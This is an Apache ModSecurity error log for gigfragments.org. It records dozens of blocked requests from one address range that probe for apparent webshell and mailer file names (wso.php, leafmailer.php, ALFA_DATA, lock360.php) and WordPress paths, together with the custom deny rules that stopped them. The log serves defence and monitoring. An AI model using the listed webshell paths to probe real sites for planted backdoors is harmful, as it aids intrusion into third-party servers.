[Wed Feb 04 00:37:08.010970 2026] [:error] [pid 5148:tid 5155] [client 85.203.21.107:27129] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/pwhb0t2cy9txbiga4ckhfrdsCakc.php"] [unique_id "aYIkNL83HCHLtUIbS7IpBgAAAUQ"]
[Wed Feb 04 00:37:08.303975 2026] [:error] [pid 42921:tid 42963] [client 85.203.21.99:36287] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYIkNIblShffGl-01oe0VAAAAEU"]
[Wed Feb 04 00:37:08.604005 2026] [:error] [pid 42921:tid 42961] [client 85.203.21.73:54293] [client 85.203.21.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "aYIkNIblShffGl-01oe0VgAAAEM"]
[Wed Feb 04 00:37:08.899294 2026] [:error] [pid 42920:tid 42945] [client 85.203.21.81:32909] [client 85.203.21.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/about.php"] [unique_id "aYIkNCix3YKltG4EU0m-RQAAABA"]
[Wed Feb 04 00:37:09.194561 2026] [:error] [pid 42921:tid 42962] [client 85.203.21.115:21931] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aYIkNYblShffGl-01oe0VwAAAEQ"]
[Wed Feb 04 00:37:09.487574 2026] [:error] [pid 42920:tid 42944] [client 85.203.21.133:53261] [client 85.203.21.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.tresh/"] [unique_id "aYIkNSix3YKltG4EU0m-SAAAAA8"]
[Wed Feb 04 00:37:09.781134 2026] [:error] [pid 5229:tid 5233] [client 85.203.21.99:51319] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files/"] [unique_id "aYIkNUKmEgmJub93yUpJVgAAAYI"]
[Wed Feb 04 00:37:10.071024 2026] [:error] [pid 43028:tid 43044] [client 85.203.21.119:31387] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/assets"] [unique_id "aYIkNlnHWnJD4cJC5DsEFQAAAM4"]
[Wed Feb 04 00:37:10.361515 2026] [:error] [pid 42922:tid 42987] [client 85.203.21.139:37091] [client 85.203.21.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aYIkNmazX4WPS_dQRkjWjQAAAII"]
[Wed Feb 04 00:37:10.733394 2026] [:error] [pid 5229:tid 5252] [client 85.203.21.86:48601] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/css/admin.php"] [unique_id "aYIkNkKmEgmJub93yUpJWgAAAZU"]
[Wed Feb 04 00:37:11.026669 2026] [:error] [pid 5229:tid 5231] [client 85.203.21.93:46619] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "aYIkN0KmEgmJub93yUpJWwAAAYA"]
[Wed Feb 04 00:37:11.319978 2026] [:error] [pid 5229:tid 5244] [client 85.203.21.74:31455] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/gecko-new.php"] [unique_id "aYIkN0KmEgmJub93yUpJXQAAAY0"]
[Wed Feb 04 00:37:11.624130 2026] [:error] [pid 42920:tid 42951] [client 85.203.21.70:23689] [client 85.203.21.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aYIkNyix3YKltG4EU0m-SgAAABY"]
[Wed Feb 04 00:37:11.923846 2026] [:error] [pid 43028:tid 43053] [client 85.203.21.138:34357] [client 85.203.21.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aYIkN1nHWnJD4cJC5DsEGwAAANc"]
[Wed Feb 04 00:37:12.220132 2026] [:error] [pid 42922:tid 43004] [client 85.203.21.123:51229] [client 85.203.21.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi002.PhP7"] [unique_id "aYIkOGazX4WPS_dQRkjWkwAAAJM"]
[Wed Feb 04 00:37:12.516182 2026] [:error] [pid 42921:tid 42976] [client 85.203.21.88:49259] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings"] [unique_id "aYIkOIblShffGl-01oe0YAAAAFI"]
[Wed Feb 04 00:37:12.812718 2026] [:error] [pid 28720:tid 28734] [client 85.203.21.93:62325] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aYIkOGmRXm2bmr_sYiYLSQAAAQw"]
[Wed Feb 04 00:37:13.107079 2026] [:error] [pid 43028:tid 43047] [client 85.203.21.137:48677] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aYIkOVnHWnJD4cJC5DsEHgAAANE"]
[Wed Feb 04 00:37:13.402124 2026] [:error] [pid 43028:tid 43030] [client 85.203.21.75:48869] [client 85.203.21.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aYIkOVnHWnJD4cJC5DsEIAAAAMA"]
[Wed Feb 04 00:37:13.696507 2026] [:error] [pid 28720:tid 28738] [client 85.203.21.141:51543] [client 85.203.21.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/leafmailer.php"] [unique_id "aYIkOWmRXm2bmr_sYiYLTQAAARA"]
[Wed Feb 04 00:37:13.988722 2026] [:error] [pid 42921:tid 42958] [client 85.203.21.131:36523] [client 85.203.21.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aYIkOYblShffGl-01oe0YgAAAEA"]
[Wed Feb 04 00:37:14.283790 2026] [:error] [pid 42920:tid 42941] [client 85.203.21.143:49457] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aYIkOiix3YKltG4EU0m-TAAAAAw"]
[Wed Feb 04 00:37:14.580924 2026] [:error] [pid 5229:tid 5245] [client 85.203.21.74:33961] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aYIkOkKmEgmJub93yUpJYAAAAY4"]
[Wed Feb 04 00:37:14.874625 2026] [:error] [pid 5148:tid 5160] [client 85.203.21.100:46305] [client 85.203.21.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYIkOr83HCHLtUIbS7IpBwAAAUk"]
[Wed Feb 04 00:37:15.178458 2026] [:error] [pid 42921:tid 42970] [client 85.203.21.111:59585] [client 85.203.21.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aYIkO4blShffGl-01oe0ZgAAAEw"]
[Wed Feb 04 00:37:15.470595 2026] [:error] [pid 43028:tid 43038] [client 85.203.21.72:49045] [client 85.203.21.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/man.php"] [unique_id "aYIkO1nHWnJD4cJC5DsEIgAAAMg"]
[Wed Feb 04 00:37:15.764277 2026] [:error] [pid 43028:tid 43031] [client 85.203.21.138:26463] [client 85.203.21.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aYIkO1nHWnJD4cJC5DsEIwAAAME"]
[Wed Feb 04 00:37:16.057403 2026] [:error] [pid 5229:tid 5234] [client 85.203.21.87:27839] [client 85.203.21.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/"] [unique_id "aYIkPEKmEgmJub93yUpJZAAAAYM"]
[Wed Feb 04 00:37:16.351533 2026] [:error] [pid 42921:tid 42960] [client 85.203.21.74:20663] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/"] [unique_id "aYIkPIblShffGl-01oe0aAAAAEI"]
[Wed Feb 04 00:37:16.659647 2026] [:error] [pid 42921:tid 42963] [client 85.203.21.110:36637] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aYIkPIblShffGl-01oe0awAAAEU"]
[Wed Feb 04 00:37:16.949870 2026] [:error] [pid 42921:tid 42973] [client 85.203.21.88:25293] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aYIkPIblShffGl-01oe0bAAAAE8"]
[Wed Feb 04 00:37:17.248412 2026] [:error] [pid 5148:tid 5162] [client 85.203.21.97:51945] [client 85.203.21.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/modules/"] [unique_id "aYIkPb83HCHLtUIbS7IpCwAAAUs"]
[Wed Feb 04 00:37:17.556086 2026] [:error] [pid 42922:tid 42988] [client 85.203.21.153:46869] [client 85.203.21.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/pridmag/db.php"] [unique_id "aYIkPWazX4WPS_dQRkjWlgAAAIM"]
[Wed Feb 04 00:37:17.853422 2026] [:error] [pid 43028:tid 43047] [client 85.203.21.110:46955] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist"] [unique_id "aYIkPVnHWnJD4cJC5DsEJAAAANE"]
[Wed Feb 04 00:37:18.145926 2026] [:error] [pid 5229:tid 5240] [client 85.203.21.105:20255] [client 85.203.21.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aYIkPkKmEgmJub93yUpJZgAAAYk"]
[Wed Feb 04 00:37:18.439976 2026] [:error] [pid 5148:tid 5169] [client 85.203.21.101:55777] [client 85.203.21.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aYIkPr83HCHLtUIbS7IpDAAAAVI"]
[Wed Feb 04 00:37:18.733470 2026] [:error] [pid 43028:tid 43041] [client 85.203.21.150:20325] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aYIkPlnHWnJD4cJC5DsEJQAAAMs"]
[Wed Feb 04 00:37:19.027670 2026] [:error] [pid 5148:tid 5175] [client 85.203.21.107:54289] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js"] [unique_id "aYIkP783HCHLtUIbS7IpDQAAAVg"]
[Wed Feb 04 00:37:19.328450 2026] [:error] [pid 42920:tid 42946] [client 85.203.21.137:59785] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/rk2.php"] [unique_id "aYIkPyix3YKltG4EU0m-TwAAABE"]
[Wed Feb 04 00:37:19.644210 2026] [:error] [pid 5148:tid 5173] [client 85.203.21.100:27341] [client 85.203.21.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin-header.php"] [unique_id "aYIkP783HCHLtUIbS7IpDwAAAVY"]
[Wed Feb 04 00:37:19.941534 2026] [:error] [pid 5148:tid 5153] [client 85.203.21.112:25275] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aYIkP783HCHLtUIbS7IpEAAAAUI"]
[Wed Feb 04 00:37:20.233752 2026] [:error] [pid 42920:tid 42940] [client 85.203.21.79:55235] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "aYIkQCix3YKltG4EU0m-UgAAAAs"]
[Wed Feb 04 00:37:20.533528 2026] [:error] [pid 42921:tid 42978] [client 85.203.21.103:28909] [client 85.203.21.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aYIkQIblShffGl-01oe0dAAAAFQ"]
[Wed Feb 04 00:37:20.827604 2026] [:error] [pid 42920:tid 42938] [client 85.203.21.99:57909] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aYIkQCix3YKltG4EU0m-VAAAAAk"]
[Wed Feb 04 00:37:21.120475 2026] [:error] [pid 5148:tid 5164] [client 85.203.21.110:58231] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/"] [unique_id "aYIkQb83HCHLtUIbS7IpFAAAAU0"]
[Wed Feb 04 00:37:21.415195 2026] [:error] [pid 5148:tid 5165] [client 85.203.21.115:31999] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aYIkQb83HCHLtUIbS7IpFgAAAU4"]
[Wed Feb 04 00:37:21.707377 2026] [:error] [pid 5148:tid 5157] [client 85.203.21.77:30861] [client 85.203.21.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/private/"] [unique_id "aYIkQb83HCHLtUIbS7IpFwAAAUY"]
[Wed Feb 04 00:37:22.002466 2026] [:error] [pid 42920:tid 42930] [client 85.203.21.119:65449] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aYIkQiix3YKltG4EU0m-WAAAAAE"]
[Wed Feb 04 00:37:22.296587 2026] [:error] [pid 42921:tid 42981] [client 85.203.21.147:32269] [client 85.203.21.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-themes.php"] [unique_id "aYIkQoblShffGl-01oe0eAAAAFc"]
[Wed Feb 04 00:37:22.588963 2026] [:error] [pid 42920:tid 42929] [client 85.203.21.152:57569] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aYIkQiix3YKltG4EU0m-XAAAAAA"]
[Wed Feb 04 00:37:22.879281 2026] [:error] [pid 5148:tid 5175] [client 85.203.21.92:60911] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aYIkQr83HCHLtUIbS7IpGAAAAVg"]
[Wed Feb 04 00:37:23.172089 2026] [:error] [pid 28720:tid 28728] [client 85.203.21.79:43583] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/1m5mvlb6d1iq7yog17r4/14bcjywsujyrjjwqegeCdefault.php"] [unique_id "aYIkQ2mRXm2bmr_sYiYLUwAAAQY"]
[Wed Feb 04 00:37:23.466386 2026] [:error] [pid 42920:tid 42951] [client 85.203.21.139:32403] [client 85.203.21.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content"] [unique_id "aYIkQyix3YKltG4EU0m-XwAAABY"]
[Wed Feb 04 00:37:23.760599 2026] [:error] [pid 42921:tid 42965] [client 85.203.21.137:48037] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/coffee"] [unique_id "aYIkQ4blShffGl-01oe0eQAAAEc"]
[Wed Feb 04 00:37:24.053048 2026] [:error] [pid 43028:tid 43054] [client 85.203.21.71:57789] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aYIkRFnHWnJD4cJC5DsEKQAAANg"]
